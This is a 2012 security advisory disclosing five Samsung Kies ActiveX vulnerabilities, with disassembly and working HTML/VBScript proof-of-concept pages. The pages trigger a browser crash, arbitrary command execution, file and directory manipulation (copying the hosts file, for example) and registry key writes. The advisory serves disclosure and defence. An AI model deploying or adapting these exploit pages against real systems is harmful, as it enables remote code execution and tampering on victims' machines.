Multiple vulnerabilities in Samsung Kies

2012-06-2500:00:00

High-Tech Bridge

www.htbridge.com

EPSS

0.652

Percentile

98.0%

JSON

High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in Samsung Kies synchronization utility that allows remote attacker to compromise affected system, execute and modify arbitrary files, modify arbitrary directories and modify System Registry with privileges of the current user.

Null Pointer Dereference in Samsung Kies: CVE-2012-3806
The vulnerability exists due to a null pointer dereference error in GetDataTable() method within the Samsung.DeviceService.DCA.DeviceDataParagonATGM.1 ActiveX control (DCAPARAGONGM.dll, GUID {7650BC47-036D-4D5B-95B4-9D622C8D00A4}, located by default in "C:\Program Files(x86)\Samsung\Kies\External\DeviceModules"). A remote attacker can pass “tagDATATABLE_SUID” argument equal to 0 to the GetDataTable() method and rise an ACCESS_VIOLATION exception on a MOV EDX,[EAX] instruction, as EAX is previously zeroed by an unexpected NULL value in the memory region pointed by ECX:
Disassembly:
--------------------------------------------------
2A22B95 MOV ECX,[EBP+10]
2A22B98 MOV EAX,[ECX]
2A22B9A MOV EDX,[EAX] // Crash through
Null Pointer Dereference
2A22B9C PUSH 0
2A22B9E PUSH 0
2A22BA0 PUSH 2A71E68
2A22BA5 PUSH EAX
2A22BA6 MOV EAX,[EDX+50]
2A22BA9 CALL EAX
Registers:
--------------------------------------------------
EIP 02A22B9A
EAX 00000000
EBX 02A66774 -> 029E58F0
ECX 0022EBC0 -> 00000000
EDX 006DFCE2 -> 00030000
EDI 00000000
ESI 00000000
EBP 0022EB5C -> 0022EB7C
ESP 0022EB38 -> F2D508FE
The following Proof of Concept code causes a browser to crash:
<html>
<!-- ©oded by Frederic Bourla, High-Tech Bridge –>
<head>
<title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
</head>
<script language=‘vbscript’>
Sub daPoC()
arg1=0
daTarget.GetDataTable arg1
End Sub
</script>
<body>
<h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
<h4>Null Pointer Dereference PoC</h4>
<hr>
This simple PoC will crash Internet Explorer.<BR><BR>
<input language=VBScript onclick=daPoC() type=button value=“Proof of Concept”>
</body>
<object classid=‘clsid:7650BC47-036D-4D5B-95B4-9D622C8D00A4’
id=‘daTarget’></object >
</html>
Arbitrary File Execution in Samsung Kies: CVE-2012-3807
The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate", has numerous arbitrary file execution vulnerabilities present in “CmdAgentLib” (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the ‘ICommandAgent’ interface of the “CommandAgent” class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default “ICommandAgent” interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.
Arbitrary File Execution:
Run => Vulnerable
RunAt => Initial Exploit Test failed
RunAtNotExit => Initial Exploit Test failed
RunNotExit => Vulnerable

Arbitrary File Execution Proof of Concept:
<html>
<!-- ©oded by Frederic Bourla, High-Tech Bridge –>
<head>
<title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
</head>
<script language=‘vbscript’>
Sub daPoC()
daFile=“iexplore https://www.immuniweb.com/advisory/HTB23099”
daTarget.Run daFile
End Sub
</script>
<body>
<h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
<h4>Arbitrary File Execution PoC</h4>
<hr>
This simple PoC will spawn IE and display more information about the vulnerability.<BR><BR>
<input language=VBScript onclick=daPoC() type=button value=“Proof of Concept”>
</body>
<object classid=‘clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1’ id=‘daTarget’></object>
</html>

Arbitrary File Modification in Samsung Kies: CVE-2012-3808
The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate", has numerous arbitrary file modification vulnerabilities present in “CmdAgentLib” (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the ‘ICommandAgent’ interface of the “CommandAgent” class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default “ICommandAgent” interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.
Arbitrary File Modification:
FileCopy => Vulnerable
FileCopySync => Vulnerable
FileDelete => Vulnerable
FileMove => Vulnerable
FileMoveExReboot => Initial Exploit Test failed
FileMoveSync => Vulnerable

Arbitrary File Modification Proof of Concept:
<html>
<!-- ©oded by Frederic Bourla, High-Tech Bridge –>
<head>
<title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
</head>
<script language=‘vbscript’>
Set daShell = CreateObject( “WScript.Shell” )
daRoot=daShell.ExpandEnvironmentStrings(“%SystemRoot%”)
daFileCopySource=daRoot & “\System32\drivers\etc\hosts” daProfile=daShell.ExpandEnvironmentStrings(“%USERPROFILE%”)
daFileCopyDest=daprofile & “\Desktop\hosts”
daFileMoveDest=daprofile & “\Desktop\hosts.backup”
Sub daPoC()
daTarget.FileCopy daFileCopySource, daFileCopyDest
End Sub
Sub daPoC2()
daTarget.FileMoveSync daFileCopyDest, daFileMoveDest
End Sub
Sub daPoC3()
daTarget.FileDelete daFileMoveDest
End Sub
</script>
<body>
<h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
<h4>Arbitrary File Modification PoC</h4>
<hr>
This simple PoC will copy your <script language=‘vbscript’>document.write(daFileCopySource)</script> file into your desktop.<BR><BR>
<input language=VBScript onclick=daPoC() type=button value=“Proof of Concept”>
<hr>
This simple PoC will move your <script language=‘vbscript’>document.write(daFileCopyDest)</script> file into <script language=‘vbscript’>document.write(daFileMoveDest)</script>.<BR><BR>
<input language=VBScript onclick=daPoC2() type=button value=“Proof
of Concept”>
<hr>
This simple PoC will delete <script language=‘vbscript’>document.write(daFileMoveDest)</script>.<BR><BR>
<input language=VBScript onclick=daPoC3() type=button value=“Proof of Concept”>
</body>
<object classid=‘clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1’ id=‘daTarget’></object>
</html>

Arbitrary Directory Modification in Samsung Kies: CVE-2012-3809
The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate", has numerous arbitrary directory modification vulnerabilities present in “CmdAgentLib” (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the ‘ICommandAgent’ interface of the “CommandAgent” class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default “ICommandAgent” interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.
Arbitrary Directory Modification:
DirCreate => Vulnerable
DirDelete => Vulnerable

Arbitrary Directory Modification Proof of Concept:
<html>
<!-- ©oded by Frederic Bourla, High-Tech Bridge –>
<head>
<title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
</head>
<script language=‘vbscript’>
Set daShell = CreateObject( “WScript.Shell” )
daProfile=daShell.ExpandEnvironmentStrings(“%USERPROFILE%”)
daDir=daprofile & “\Desktop\FRoGito”
Sub daPoC()
daTarget.DirCreate daDir
End Sub
Sub daPoC2()
daTarget.DirDelete daDir
End Sub
</script>
<body>
<h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
<h4>Arbitrary Directory Modification PoC</h4>
<hr>
This simple PoC will create the <script language=‘vbscript’>document.write(daDir)</script> directory.<BR><BR>
<input language=VBScript onclick=daPoC() type=button value=“Proof of Concept”>
<hr>
This simple PoC will delete the <script language=‘vbscript’>document.write(daDir)</script> directory.<BR><BR>
<input language=VBScript onclick=daPoC2() type=button value=“Proof of Concept”>
</body>
<object classid=‘clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1’ id=‘daTarget’></object>
</html>

Arbitrary Registry Modification in Samsung Kies: CVE-2012-3810
The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate", has numerous Registry modification vulnerabilities present in “CmdAgentLib” (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the ‘ICommandAgent’ interface of the “CommandAgent” class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default “ICommandAgent” interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.
Arbitrary Registry Modification:
RegiCreateKey => Vulnerable
RegiDeleteKey => Vulnerable
RegiDeleteTree => Vulnerable
RegiDeleteValue => Vulnerable
RegiSetValueInt => Vulnerable
RegiSetValueInt64 => Vulnerable
RegiSetValueString => Vulnerable
RegiSetValueString64 => Vulnerable

Arbitrary Registry Modification Proof of Concept:
<html>
<!-- ©oded by Frederic Bourla, High-Tech Bridge –>
<head>
<title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>
</head>
<script language=“vbscript”>
daReg = “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito”
daValueStrName = “PoC_str”
daValueStr = “[email protected]”
daValueIntName = “PoC_int”
daValueInt = 8080
Sub daPoC()
daTarget.RegiCreateKey daReg
End Sub
Sub daPoC2()
daTarget.RegiSetValueString daReg, daValueStrName, daValueStr
End Sub
Sub daPoC3()
daTarget.RegiSetValueInt daReg, daValueIntName, daValueInt
End Sub
Sub daPoC4()
daTarget.RegiDeleteValue daReg, daValueStrName
daTarget.RegiDeleteValue daReg, daValueIntName
End Sub
Sub daPoC5()
daTarget.RegiDeleteKey daReg
End Sub
</script>
<body>
<h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>
<h4>Arbitrary Registry Modification PoC</h4>
<hr>
This simple PoC will create the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito
registr y key.<BR><BR>
<input language=VBScript onclick=daPoC() type=button value=“Proof
of Concept”>
<hr>
This simple PoC will create the string value ‘PoC_str’ initialized to ‘[email protected]’ in the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGitoregistry key.<BR><BR>
<input language=VBScript onclick=daPoC2() type=button value=“Proof of Concept”>
<hr>
This simple PoC will create the int value ‘PoC_int’ initialized to 0x1F90 in the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito
registr y key.
<BR><BR>
<input language=VBScript onclick=daPoC3() type=button
value=“Proof of Concept”>
<hr>
This simple PoC will delete both string and hex values from the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito registry key
<BR><BR>
<input language=VBScript onclick=daPoC4() type=button value=“Proof of Concept”>
<hr>
This simple PoC will delete the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito registry key.
<BR><BR>
<input language=VBScript onclick=daPoC5() type=button value=“Proof of Concept”>
</body>
<object classid=‘clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1’
id=‘daTarget’></object >
</html>

EPSS

0.652

Percentile

98.0%

JSON

Related for HTB23099